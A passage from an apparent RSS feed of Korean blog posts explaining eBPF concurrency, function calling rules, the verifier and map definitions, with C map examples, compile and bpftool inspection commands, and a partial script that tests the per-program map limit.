    struct bpf_spin_lock semaphore;
    int count;
}

struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, int);
    __type(value, struct concurrent_element);
    __uint(max_entries, 100);
} concurrent_map SEC(&quot;.maps&quot;);</code></pre>
<p>Spin Lock을 사용하려면 먼저 Map 값 맨 위에 <code>struct bpf_spin_lock</code>이 포함되어야 한다.</p>
<pre><code class="language-c">...
    bpf_spin_lock(&amp;read_value-&gt;semaphore);
    read_value-&gt;count += 1;
    bpf_spin_unlock(&amp;read_value-&gt;semaphore);
    return 0;
}</code></pre>
<p>한 번에 두 개 이상의 Lock을 점유할 수 없고, 사용 후에는 <strong>Deadlock</strong> 방지를 위해 반드시 <strong>Lock을 해제</strong> 해야한다. 해제하지 않으면 Verifier에 통과할 수 없게 된다.</p>
<h2 id="cpu-별-map-할당">CPU 별 Map 할당</h2>
<p>이 방법은 각 <strong>logical CPU마다 Map의 복사본을 부여</strong>하는 것이다. 각 CPU에 자체 메모리를 할당하므로 <strong>공유 메모리 접근이 없어</strong> 메모리 접근 동기화 문제를 해결할 수 있다. 하지만 logical CPU가 많아지면 그만큼 <strong>메모리 할당량도 증가</strong>하는 문제가 있다. 또한 할당된 메모리만큼 더 많은 데이터를 읽고 처리해야 하기 때문에 <strong>User Level의 복잡도가 증가</strong>한다.</p>
<h2 id="map-rcuread-copy-update">MAP RCU(Read, Copy, Update)</h2>
<p>이 방법은 Map 값을 직접 수정하는 것이 아니라, 헬퍼 함수를 통해 값을 업데이트 하는 것이다.
<code>bpf_map_lookup_elem</code> 함수를 통해 얻은 포인터를 사용해서 <strong>BPF 스택에 Map 값을 복사해 와서 수정</strong>하고, <code>bpf_map_update_elem</code>을 통해 수정된 <strong>복사본을 호출</strong>하는 방식으로 동작한다.
여러 업데이트가 동시에 발생하면 누락이 될 수 있다는 문제가 있지만 동시성 문제는 해결할 수 있다. 또한, 메모리 복사 과정에서 오버헤드가 존재하지만, <strong>Spin lock</strong> 방식에서 사용하는 <strong>block이나 동기화</strong>를 하지 않기 때문에 값의 크기에 따라 더 효율적일 수 있다.
User Level에서 이뤄지는 Map 업데이트는 이 방식을 따른다.</p>
<h2 id="map-in-map">Map-in-Map</h2>
<p><strong>User Level</strong>에서 Map을 조회할 때는 모든 key 값을 순회 해야한다. 하지만 이런 과정에서 중간에 Map값이 변하는 문제가 발생하게 된다. 이런 문제를 해결하는 <strong>Map-in-Map</strong>은 Map에 대한 <strong>스냅샷</strong> 기능을 제공한다.
Map의 key 값을 담은 외부 Map에서 <strong>내부 Map에 대한 포인터 정보</strong>를 얻어 내부 Map에 <strong>저장된 정보에 접근</strong>한다. 이때 접근 과정에서 값이 변하면 안되므로 <strong>새로운 Map을 생성하여 교체</strong>한다.</p>
<h2 id="마치며">마치며</h2>
<p>공유 자원에 대한 동시성 문제를 어떤 방식들로 해결하는지에 대해 알아봤다. 다음 포스트에선 Pinning에 대해 알아보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF 함수란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-%ED%95%A8%EC%88%98%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-%ED%95%A8%EC%88%98%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Wed, 18 Mar 2026 12:27:13 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>eBPF에서 <strong>함수</strong>라고 하는 것은 <strong>eBPF Program</strong>을 뜻하기도 하고, <strong>sub-program</strong>, 앞선 포스트에서 몇 번 언급한 <strong>Helper 함수 등</strong> 여러 가지를 하나로 그냥 함수라고 한다. 이번 포스트에선 함수 호출 규칙과 sub-program 함수 사용에 대한 내용을 정리 해보고자 한다.</p>
<h2 id="함수-호출-규칙">함수 호출 규칙</h2>
<p>먼저, eBPF 함수 호출시 네이티브 시스템(ex. Linux) 함수 호출과 달리 인자 처리 과정에서 메모리 스택을 사용하지 않고 <strong>레지스터에서 값을 처리하고 바로 호출</strong>이 된다. R0 레지스터는 함수의 반환 값, R1 ~ R5 레지스터는 함수 인자 저장에 사용되고 함수 인자 순서대로 각 레지스터에 저장된다. 네이티브 시스템과 달리 메모리 스택을 사용하지 않는 이유는 <strong>Stack Overflow, 포인터 연산 복잡성과 같은 Kernel Level에서 안정성</strong>을 해칠 수 있는 가능성이 존재하기 때문이고, <strong>Verifier의 상태 검사에서 복잡성 증가</strong>, <strong>하드웨어 레지스터 Mapping</strong>을 고려 했을 때 5개로 제한을 한 것이다. </p>
<p>하지만 이러한 제약을 해결하기 위해 간접 참조 방식으로 <strong>구조체</strong>를 사용하여 더 많은 인자를 전달할 수 있다. 인자 값을 저장하는 R1 ~ R5는 함수 호출 후 초기화 되지만 R6 ~ R9 레지스터는 호출된 함수의 값을 저장하는 기능을 하고, 호출된 함수의 값을 저장하여 호출 값이 유지된다. 마지막으로 eBPF Program, sub-program, Helper 함수, kfuncs 등 모든 함수의 호출 규칙은 <strong>eBPF Instruction Set</strong>이 정의한다.</p>
<blockquote>
<h4 id="정리">정리</h4>
</blockquote>
<ul>
<li>함수 호출 규칙 정의 -&gt; eBPF Instruction Set</li>
<li>함수 호출 방식 -&gt; 메모리 스택을 사용하지 않고, 레지스터에서 값을 처리하고 바로 호출</li>
<li>함수 반환값 -&gt; R0 레지스터, 함수 인자값 -&gt; R1 ~ R5(Volatile), 호출된 함수의 값 -&gt; R6 ~ R9(nonVolatile)</li>
<li>함수 반환값은 5개로 제약, but 구조체를 활용해서 간접 참조 방식으로 더 많은 인자 전달 가능</li>
</ul>
<h2 id="sub-program">Sub Program</h2>
<p>Sub Program은 <strong>BPF-to-BPF 함수</strong>라고 한다. <strong>BPF-to-BPF</strong> 함수 호출은 <strong>동일한 프로그램 내에서 로직 재사용</strong>을 가능하게 한다. 이때도 마찬가지로 <strong>최대 5개 인자</strong>를 받을 수 있고, 함수는 새로운 스택 프레임을 할당받아 프로그램 종료 후 해제되어 재사용된다. 여기서 말하는 스택 프레임은 <strong>네이티브 커널의 메모리 스택 프레임</strong>이 아닌 <strong>eBPF 가상머신 전용 스택 영역에서의 스택 프레임</strong>을 의미한다. 또한 스택에 있는 포인터를 인자로 전달하면 해당 스택에 접근할 수 있다.</p>
<h3 id="함수-inlining">함수 Inlining</h3>
<p>함수 Inlining이란 컴파일 과정에서 함수를 호출하는 명령(Call)을 생성하는 대신 함수 body 코드를 호출이 발생하는 위치에 직접 복사해서 넣는 최적화 기법을 말한다. 일반적으로 함수가 호출되는 과정은 <strong>1) 인자값을 레지스터 또는 스택에 배치, 2) 현재 실행 지점(PC)을 저장하고 함수 주소로 점프, 3) 함수 종료 후 원래 위치(주소)로 점프</strong>로 이루어진다. 이 과정에서 오버헤드가 발생하는데, 인라인으로 처리할 경우 이런 과정이 사라져 호출이 발생하는 위치에 함수가 원래 있었던 거처럼 동작한다.
함수 인라인 여부는 <code>__attribute__((always_inline))</code>/<code>__always_inline</code> 또는 <strong>attribute</strong>((noinline))과 같은 인수를 사용하여 함수 인라인 여부를 지정할 수 있다.</p>
<h3 id="검증">검증</h3>
<p>함수 검증을 할 땐 정적 함수(static)와 전역 함수를 다르게 검증한다.</p>
<ul>
<li><strong>정적함수</strong>
C 코드에서 <code>static</code> 키워드가 붙은 함수로, <strong>Verifier</strong>는 이를 호출하는 지점마다 매번 안전성을 다시 확인하는 방식을 채택한다. 이 방식은 호출자가 넘긴 <strong>인자의 구체적인 값 또는 범위</strong>를 알고 있는 상태로 진행하여 함수 내부에서 이 범위를 벗어나는 연산이 없음을 별도 처리없이 증명할 수 있다. 하지만 지난 포스트에서 언급한 상태 폭발 문제가 발생할 수 있다.</li>
<li><strong>전역함수</strong>
전역 함수에 대한 검증은 <strong>함수와 호출 Context를 분리</strong>해서 독립적으로 검증하는 함수별 검증 방식을 채택한다. 전역함수는 프로그램 내 모든 전역 함수를 순서 상관없이 <strong>한 번만 검사</strong>한다. 검증 횟수가 고정되어 <strong>검증 시간과 복잡도가 선형적으로 관리</strong>된다. 하지만 어떤 값이 들어올지 전혀 모르는 상태를 가정하기 때문에 <strong>인자로 들어올 수 있는 모든 값을 고려하여 검사</strong>가 진행된다. 이러한 특성으로 개발자는 함수 내부에서 <strong>인자의 유효 범위를 확인하는 로직을 강제로 추가</strong> 해야한다는 제약 조건이 따른다. 또한, 도입 초기에는 반환값은 숫자(Scalar)로, 인수는 컨텍스트 포인터나 숫자로만 제한한다.</li>
</ul>
<p>정리하면 정적 함수의 검증 방식은 개발 편의성은 높지만 검증으로 인한 시스템 오버헤드가 증가하고, 전역 함수의 검증 방식은 시스템 오버헤드가 낮지만 개발 편의성은 저하되는 결과를 가지고 오기 때문에 상황에 맞게 함수를 작성할 필요가 있다.</p>
<h3 id="tail-call과-함수의-혼합-사용">Tail Call과 함수의 혼합 사용</h3>
<p>Kernel 5.10 이전 버전에서는 eBPF Program 내에서 일반 함수 호출과 Tail Call을 동시에 사용할 수 없었지만 5.10 버전부터 가능해졌다. 하지만 커널 안정성을 위해 몇 가지 제약이 따른다.</p>
<ul>
<li><p><strong>스택 크기 감소 (512 byte -&gt; 256 byte)</strong>
Tail Call은 스택 프레임을 재사용하면서 다음 프로그램을 호출하는데, 일반 함수 내부에서 Tail Call이 발생할 경우 누적 스택 사용량이 커널 스택 한계를 초과하여 시스템 패닉으로 이어질 수 있기 때문에 스택 크기를 감소시켜 안정성을 확보하면서 해당 기능을 사용 가능하게 했다.</p>
</li>
<li><p><strong>Tail Call Counter 전파</strong>
Tail Call과 일반 함수를 혼합해서 사용할 때 Tail Call의 최대 실행 횟수인 32회를 정확히 체크하기 위해 카운터 값을 일반 함수 호출 시에도 레지스터나 특정 슬롯을 통해 계속 전달하도록 했다.</p>
</li>
</ul>
<p>결론적으로 몇 가지 제약이 분명하여 개발시 어려움이 있지만 Tail Call과 일반 함수를 혼합해서 사용 가능하게 하여 확장성과 모듈화를 가능하게 했다.</p>
<h2 id="마치며">마치며</h2>
<p>사실상 함수는 eBPF Program의 개념을 더 심층적으로 알아보고 어떻게 활용할 수 있는지 어떤 제약 조건이 있는지 알 수 있었던 섹션이었다. Tail Call은 지금까지 정리한 내용들에서 지속적으로 나오고 있고, 공식 문서에도 따로 정리 되어 있는만큼 핵심적인 기능인거 같다.
다음 포스트에선 동시성이라는 개념에 대해 정리 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF Verifier는 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-Verifier%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-Verifier%EB%8A%94-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Mon, 16 Mar 2026 10:05:38 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>eBPF에 대한 첫 번째 포스트에서 Verifier에 대한 정의와 역할을 간단히 짚어 보았다. 이번 포스트에선 조금 더 심층적으로 Verifier에 대해 다뤄 보려고 한다.</p>
<blockquote>
<h4 id="verifier">Verifier</h4>
<p>eBPF Program이 Hook Point에 부착되어 실행되기 위해 컴파일 되기 전 단계에서 안전성을 검사하는 역할을 수행한다.</p>
</blockquote>
<h2 id="안전성이란-무엇인가">안전성이란 무엇인가?</h2>
<p><strong>Verifier</strong>는 Kernel Level에서 동작하는 eBPF Program이 Kernel에 악영향을 주지 않고 안전하게 동작하는지 검증하는 구성 요소다. 여기서 말하는 악영향이란 <strong>메모리 손상, 민감 정보 유출, 커널 충돌 또는 커널 정지/Deadlock 발생</strong> 등을 말한다.
Verifier는 프로그램이 갖는 가능한 모든 경우의 수를 수학적으로 검사한다. 허용되지 않는 상황은 다음과 같다.</p>
<ul>
<li>프로그램이 항상 <strong>종료</strong>되는가? (무한 루프, 무한 재귀 등 금지)</li>
<li>프로그램이 허용된 영역 외 다른 <strong>임의의 메모리 영역</strong>을 읽는가? (민감 정보 접근)</li>
<li>네트워크 프로그램이 <strong>패킷 범위</strong>를 벗어난 다른 메모리에 접근하는가? (민감 정보 접근)</li>
<li>프로그램 간 <strong>Deadlock</strong> 발생 방지를 위해 보유하고 있는 Lock(Spin Lock)을 해제 하는가?</li>
<li>프로그램이 <strong>초기화 되지 않은 메모리</strong>에 대한 읽기를 수행하는가?</li>
</ul>
<p>대표적으로 Verifier가 검사하는 항목의 예시이고 외에도 프로그램 유형별로 추가 규칙 등이 있다. 정리 해보면 작성된 <strong>eBPF Program</strong>이 <strong>Kernel Level의 안정성</strong>을 훼손할만한 동작을 가지고 있는지 검사하는 것이다.</p>
<h2 id="verifier의-분석-과정">Verifier의 분석 과정</h2>
<p>앞서 Verifier는 프로그램이 갖는 가능한 모든 경우의 수를 수학적으로 검사한다고 했다. 이때 가장 먼저 하는 것이 eBPF Program 코드를 <strong>순회</strong>하면서 분기 명령어를 기반으로 <strong>Graph</strong>를 구성하는 것이다.
Graph 구성을 통해 <strong>Entry Point</strong>에서 시작해서 실행 흐름을 분석했을 때 <strong>어떤 경로로도 실행될 수 없다면</strong> 모두 거부한다. 예를 들어 <code>return</code> 뒤에 어떤 코드가 있다면 거부한다는 뜻이다.
실행될 수 없는 코드를 <strong>&quot;Dead Code&quot;</strong>라고 하는데 이들은 실행되지 않더라도 커널 메모리 공간을 차지하게 되는데, <strong>해당 영역으로 Jump하여 악성 체인</strong>을 만들수도 있고, 커널의 다른 취약점을 이용하여 <strong>Code Reuse Attack</strong>과 같은 실행 흐름을 강제로 돌리는 공격을 수행할 수 있기 때문이다.</p>
<blockquote>
<h4 id="code-reuse-attack">Code Reuse Attack</h4>
<p>정상적인 코드 조각(Gadget)을 재조립하여 원하는 행위를 수행하도록 하는 공격 기법</p>
</blockquote>
<p>다음으로 레지스터를 설정하여 명령어 순회를 통해 레지스터와 스택의 상태를 업데이트한다. 상태 정보에는 <code>smax32</code>(이 레지스터에 저장될 수 있는 가장 큰 32비트 정수)와 같은 정보가 포함된다. 해당 정보를 통해 Verifier는 조건 분기가 잘 실행되는지 여부를 검증할 수 있다.
Verifier는 분기 명령을 지날 때마다 현재 상태를 두 갈래로 나누고, 그중 하나의 분기 결과와 상태를 큐에 저장한 다음 상태를 업데이트 한다. 두 갈래로 나누는 이유는 <strong>결정론적 안정성 보장, 정밀한 범위 추적, 상태 폭발 방지</strong>를 위해서다.</p>
<ul>
<li><p>결정론적 안정성 보장
eBPF 프로그램은 어떤 경우에도 안전한 코드여야 한다. 프로그램 내 분기(if)는 런타임 입력 값에 따라 실행 경로를 결정하는데, Verifier가 동작하는 단계에선 <strong>입력값이 무엇인지 알 수 없기 때문</strong>에 조건이 참인 경우, 거짓인 경우 모두 독립적으로 가정하고 검증해야 한다.</p>
</li>
<li><p>정밀한 범위 추적
분기문을 지나는 순간 레지스터가 가질 수 있는 값은 이전보다 좁아진다. 좁아진 범위 정보는 다음 명령어에서 메모리 주소를 계산할 때 해당 주소가 <strong>유효한 범위 내에 있는지 확인</strong>하는 근거가 된다.</p>
</li>
<li><p>상태 폭발 방지
모든 경로를 나누면 경우의 수가 기하급수적으로 늘어나는 <strong>상태 폭발 문제</strong>가 발생하는데, 이때 큐에 저장된 다른 분기 정보를 검사한 결과 값을 통해 검사 상태와 <strong>동일하거나 더 타이트한 하위 집합인 상태</strong>가 확인되면 검사를 조기 종료시켜 효율성을 확보한다.</p>
</li>
</ul>
<p>결론적으로 상태를 나누는 행위는 <strong>eBPF가 제공하는 런타임 오버헤드가 없는 안전성</strong>을 구현하기 위한 장치인 것이다.
또한 값뿐만 아니라 데이터 타입도 추적한다. 정수인지 Map 값에 대한 Pointer인지 검사하여 Context에서 offset을 역참조할 때마다 현재 프로그램 유형에 대해 허용 여부와 offset이 Context 범위 내에 있는지 확인한다.
이러한 유형 정보 검사를 통해 Helper 함수 호출 또는 일반적인 함수 호출에 올바른 매개변수가 전달되는지 확인한다.</p>
<blockquote>
<h4 id="context">Context</h4>
<p>여기서 말하는 Context는 처리해야 할 데이터 구조체 포인터라고 생각하면 된다.</p>
</blockquote>
<p>BTF(BPF Type Format)를 사용하여 Map 값에 타이머 또는 스핀락이 포함되어 있는지 확인할 수 있고, 올바른 매개변수가 KFunc에 전달되는지, BTF 함수가 실제 BPF 함수와 일치하는지 등도 검사한다.</p>
<blockquote>
<h4 id="spinlock">SpinLock</h4>
<p>스핀락은 Mutex, Semaphor와 같이 공유 자원에 대한 상호 배타를 위해 사용된다. 공유 자원에 대한 lock을 획득할 때까지 Thread가 멈추지 않고 루프를 돌며(busy-waiting) 재시도하는 동기화 기법이다.</p>
</blockquote>
<p>Verifier가 검사를 수행하는 과정을 보면 꽤나 복잡하여 하드웨어 리소스를 많이 소모할거 같지만 상태를 저장할 수 있는 공간에 제한을 두어 Kernel Level에 안전성을 훼손하지 않으면서 검사를 한다. Kernel 버전 5.2까지 명령어 제한이 약 4,000개, 복잡도 제한이 약 128,000으로 제한됐지만 이후 버전에서 둘 다 100만까지 늘어났다.</p>
<h2 id="verifier-특징">Verifier 특징</h2>
<ul>
<li><p><strong>Tail Call을 활용한 검증 로직 분산 및 최적화</strong>
Tail Call은 현재 실행 중인 eBPF 프로그램의 실행을 종료하고, 다른 eBPF 프로그램의 진입점으로 제어권을 넘긴다. 일반적인 함수 호출과 달리 복귀 주소를 스택에 쌓지 않으므로, 호출한 프로그램으로 되돌아오지 않는 <strong>일방향 점프 방식</strong>이다. 단일 프로그램에 적용되는 Verifier의 <strong>명령어 수 및 상태 분기 제한을 극복</strong>하기 위해 대규모 로직을 여러 프로그램으로 분할하여 로드할 수 있게 하여 전체 시스템의 검증 부하를 낮춘다.
하지만 무한 루프 및 리소스 고갈 문제가 있을 수 있어 <strong>Tail Call 호출을 33회로 제한</strong>한다. 또한, <strong>Program Array Map</strong>을 참조하여 수행해서 호출 시점의 <strong>컨텍스트 타입이 대상 프로그램과 호환</strong>되는지를 확인한다.</p>
</li>
<li><p><strong>Dead Code 제거</strong>
앞서 언급한 Dead Code로 발생할 수 있는 문제를 4.15 버전에서는 <code>NOP</code> 상태로 정의하여 <strong>실행 불가능한 상태</strong>로 만들었고, 5.1 버전에서는 성능 최적화도 고려해서 <strong>코드를 실제로 삭제</strong>하여 분기 구조를 단순화 했다. 하지만 이런 삭제와 분기 단순화 과정은 복잡하여 Verifier가 안전하다고 판단한 코드가 실제로 안전하지 않은 위치로 점프할 가능성이 존재했기 때문에 <code>CAP_BPF</code>, <code>CAP_SYS_ADMIN</code>과 같은 높은 권한이 있는 프로그램에만 이를 허용한다.</p>
</li>
</ul>
<h2 id="마치며">마치며</h2>
<p>이번 포스트에선 eBPF Program이 컴파일 되기 전 단계인 검증하는 로직을 자세히 알아봤다. Map에 대한 동작은 이해하기 쉬웠는데 검증 로직을 담당하는 Verifier에 대해서 이해하는 데까지 많은 사전 지식이 필요했던거 같다.
다음 포스트에선 eBPF Function에 대해 더 심층적으로 알아보는 시간을 갖도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF Map이란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Fri, 13 Mar 2026 05:31:58 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>지난 포스트에서 eBPF가 무엇인지에 대해 알아봤다. 이번 포스트에서는 eBPF Map을 어떻게 정의하고 사용하는지에 대해 정리 해보도록 하겠다.</p>
<blockquote>
<h4 id="remind">Remind</h4>
<p>eBPF Map은 eBPF 프로그램이 수집한 정보를 <strong>저장, 상태 공유</strong>의 목적을 가진 일종의 DB로, 데이터는 <strong>key-value</strong> 형태로 저장되고, <strong>ring buffer, hash table 등</strong>으로 구현이 가능하다. Kernel Level뿐만 아니라 User Level에서도 eBPF Map에 저장된 데이터에 접근 가능하다.</p>
</blockquote>
<h2 id="ebpf-map-정의">eBPF Map 정의</h2>
<p>Legacy Map부터 BTF(BPF Type Format) 스타일 Map 정의 방식을 차례대로 살펴 보겠다.</p>
<h3 id="legacy">Legacy</h3>
<pre><code class="language-c">struct bpf_map_def my_map = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(int),
    .value_size = sizeof(int),
    .max_entries = 100,
    .map_flags = BPF_F_NO_PREALLOC,
} SEC(&quot;maps&quot;);</code></pre>
<p>위와 같이 Map을 정의하는 것이 Legacy 방식이다. 이 방식은 eBPF 라이브러리 또는 Linux uapi에서 제공하는 타입을 사용했고, ELF 섹션이 존재 해야한다. 하지만 이러한 방식은 key-value의 타입 정보가 손실된다는 문제가 있다.</p>
<pre><code class="language-c">.key_size = sizeof(int),
.value_size = sizeof(int),</code></pre>
<p>위 코드를 보면 <code>sizeof(int)</code>로 설정이 되어 있는데, 이는 컴파일 과정에서 단순한 정수 <code>4</code>로 계산되어 들어간다. 따라서 컴파일 된 후 eBPF ELF 파일의 maps 섹션에 저장될 때는</p>
<pre><code>key_size = 4
value_size = 4</code></pre><p>이런 형태로 저장되고, eBPF 도구들이 Map을 로드할 때 key-value 값이 각각 4byte라는 정보만 알 수 있는거고, 정확한 자료형 정보를 알 수 없게 되는 문제가 있다.</p>
<h3 id="btfbpf-type-format-스타일-map">BTF(BPF Type Format) 스타일 Map</h3>
<p>앞선 Legacy 형태의 Map이 가지는 문제를 해결하기 위해 새롭게 나온 eBPF 맵 정의 방식이다.</p>
<pre><code class="language-c">#define __uint(name, val) int (*name)[val]
#define __type(name, val) typeof(val) *name
#define __array(name, val) typeof(val) *name[]
#define __ulong(name, val) enum { ___bpf_concat(__unique_value, __COUNTER__) = val } name

struct my_value { int x, y, z; };

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, struct my_value);
    __uint(max_entries, 16);
} icmpcnt SEC(&quot;.maps&quot;);</code></pre>
<p>BTF 스타일의 Map은 자료형 보존을 위해 <strong>(1) 섹션 이름 변화</strong>, <strong>(2) 매크로 사용</strong> 두 부분에서 Legacy 방식과 차이가 있다. 먼저 <code>SEC(&quot;maps&quot;)</code> 대신 <code>SEC(&quot;.maps&quot;)</code>를 사용함으로써 linux/unix 시스템에서 <code>.data</code>, <code>.text</code>와 같이 어떤 값이 들어가는 공간이라는 의미를 eBPF 프로그램을 커널에 로드하는 <code>libbpf</code>에 알리는 방식으로 바뀌었다.</p>
<pre><code class="language-c">#define __type(name, val) typeof(val) *name
...
__type(key, int);
__type(value, struct my_value);
...</code></pre>
<p>그리고 <code>key_size = sizeof(int)</code> 선언 방식 대신 매크로를 활용해서 int형 포인터를 선언한다. 이는 int 타입을 가리키는 key가 있고, <code>struct my_value</code>를 가리키는 value라는 포인터가 있다고 기록함으로써 <code>linbbpf</code>는 이 정보를 통해 key가 가리키는 대상이 <code>int</code>, value가 가리키는 대상이 <code>struct my_value</code>라는 구조체 형태임을 유지하여 기존 legacy 방식의 문제를 해결했다.</p>
<h3 id="실습">실습</h3>
<p>btf 방식과 legacy 방식의 차이를 실습을 통해 알아보도록 하자.</p>
<blockquote>
<p><strong>실습환경</strong>
OS Version: <strong>ubuntu 64-bit arm server 22.04.5</strong>
Kernel Version: <strong>5.15.0-164-generic</strong></p>
</blockquote>
<blockquote>
<p><strong>실습 환경 준비</strong></p>
</blockquote>
<pre><code class="language-bash">sudo apt-get update
sudo apt-get install -y clang llvm libbpf-dev linux-tools-common linux-tools-generic linux-tools-$(uname -r)</code></pre>
<p><strong>legcy.c</strong></p>
<pre><code class="language-c">#include &lt;linux/bpf.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;

// 레거시 방식: SEC(&quot;maps&quot;) 사용, 단순 크기(sizeof)만 지정
struct bpf_map_def SEC(&quot;maps&quot;) my_legacy_map = {
    .type = BPF_MAP_TYPE_ARRAY,
    .key_size = sizeof(int),
    .value_size = sizeof(int),
    .max_entries = 1,
};

char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;</code></pre>
<p><strong>btf.c</strong></p>
<pre><code class="language-c">#include &lt;linux/bpf.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;

// BTF 방식: SEC(&quot;.maps&quot;) 사용, 매크로를 통해 실제 타입(int) 전달
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, int);
    __uint(max_entries, 1);
} my_btf_map SEC(&quot;.maps&quot;);

char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;</code></pre>
<p>앞서 확인한 내용대로 매크로를 사용, 섹션 네이밍 정보 두 가지 부분을 차이로 두고 예제 코드를 작성했다. 이를 컴파일 해주자.</p>
<pre><code class="language-bash">clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c legacy.c -o legacy.o</code></pre>
<pre><code class="language-bash">clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c btf.c -o btf.o</code></pre>
<p>컴파일을 정상적으로 완료하면 object file이 정상적으로 생성됐을거고 <code>llvm-readelf</code> 명령으로 파일 안에 어떤 섹션이 만들어졌는지 확인 해보자.</p>
<pre><code class="language-bash">llvm-readelf -S legacy.o | grep maps
llvm-readelf -S btf.o | grep maps</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/76216f96-3390-49b3-9ee5-58a32a072793/image.png" alt=""></p>
<p>결과를 보면 이전 설명과 같이 legacy엔 <code>maps</code>, btf엔 <code>.maps</code>로 섹션이 저장된 것을 확인할 수 있다. 그리고 <code>bpftool</code>을 활용해서 생성한 오브젝트 파일을 덤프를 떠서 파일 구조를 확인해보자.</p>
<pre><code class="language-bash">bpftool btf dump file legacy.o
bpftool btf dump file btf.o</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/54381f16-be01-47dc-9c4b-4cd39a2a3f2f/image.png" alt=""></p>
<p>먼저 legacy 덤프 파일을 보면 <code>[1] STRUCT</code>에 필드명으로 <code>key</code>가 아니라 <code>key_size</code>가 기록 되어 있고, <code>key_size</code>의 타입은 <code>type_id=22</code>라고 되어 있다. 
즉, 타입 정보에 기록된 것은 맵 구조체 안에 <code>key_size</code>라는 변수가 있고, 그 변수 타입은 <code>unsigned int</code>라는 정보만 담겨 있어 맵에 저장될 때 <strong>실제 키 데이터의 타입 정보</strong>는 담겨 있지 않은 것을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/31bdc7f4-2f77-4cb7-b38d-3b1edb2ed10c/image.png" alt=""></p>
<p>다음 btf 덤프 파일을 보면 <code>key</code> 필드가 존재하고 타입은 <code>type_id=5</code>라는 것을 알 수 있다. 5번 섹션을 보면 <code>PTR</code> 즉, 포인터이고 이 포이터가 가리키는 곳은 <code>type_id=2</code>라는 것을 알 수 있다. 2번을 보면 정확히 <code>INT &#39;int ...&#39;</code>라고 기록 되어 있는 것으로 보아 기존 레거시 방식과 달리 자료형을 정확히 파악할 수 있다.</p>
<h2 id="bpf-map-생성">BPF Map 생성</h2>
<p>eBPF 프로그램에서 Map은 <strong>User Level</strong>에서 생성된다. <code>libbpf</code>와 같은 로더 라이브러리는 <strong>컴파일 된 ELF 파일</strong>에서 Map 선언을 가져와 자동으로 Map을 생성한다.
Map은 수동으로도 생성할 수 있다. 이때 System Call의 <code>BPF_MAP_CREATE</code> 명령을 사용하거나, 이와 같은 기능을 가진 라이브러리를 사용하여 생성할 수도 있다. Map은 무한정 생성할 수 있지 않고, <strong>eBPF 프로그램 당 64개로 제한</strong>된다.
개수가 제한되는 이유는 <code>#define MAX_USED_MAPS 64</code>라는 매크로 상수가 64로 하드코딩 되어 있고, FD(File Descriptor) 자원의 독점 방지를 위해서 제한이 있다. eBPF Map이 User Level 어플리케이션과 통신을 위해 내부적으로 FD를 부여받는데, 단일 프로그램이 너무 많은 맵과 연결되어 있으면 <strong>시스템 리소스 관리 복잡도 증가, 고갈 문제</strong>가 발생할 수 있어 제한된다.
이러한 제한 사항을 우회?하기 위해 <strong>Tail Call</strong>, <strong>Map-in-Map</strong>과 같은 아키텍처 패턴을 채택하고 권장한다고 한다. 이 내용은 이후에 추가로 정리 해보도록 하겠다.</p>
<h3 id="실습-1">실습</h3>
<p>해당 실습은 Map 개수 제한을 확인하기 위해 간단하게 진행했다.</p>
<pre><code class="language-bash">cat &lt;&lt; &#39;EOF&#39; &gt; generate_maps.sh
#!/bin/bash
NUM_MAPS=$1
FILE_NAME=&quot;test_${NUM_MAPS}_maps.c&quot;

echo &#39;#include &lt;linux/bpf.h&gt;&#39; &gt; $FILE_NAME
echo &#39;#include &lt;bpf/bpf_helpers.h&gt;&#39; &gt;&gt; $FILE_NAME

# 1. 지정된 개수만큼 맵 선언
for i in $(seq 1 $NUM_MAPS); do
    cat &lt;&lt; MAP_DEF &gt;&gt; $FILE_NAME
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, int);
    __uint(max_entries, 1);
} map_$i SEC(&quot;.maps&quot;);
MAP_DEF
done

# 2. XDP 프로그램 작성 및 맵 참조
echo &#39;SEC(&quot;xdp&quot;)&#39; &gt;&gt; $FILE_NAME
echo &#39;int test_prog(struct xdp_md *ctx) {&#39; &gt;&gt; $FILE_NAME
echo &#39;    int key = 0;&#39; &gt;&gt; $FILE_NAME

for i in $(seq 1 $NUM_MAPS); do
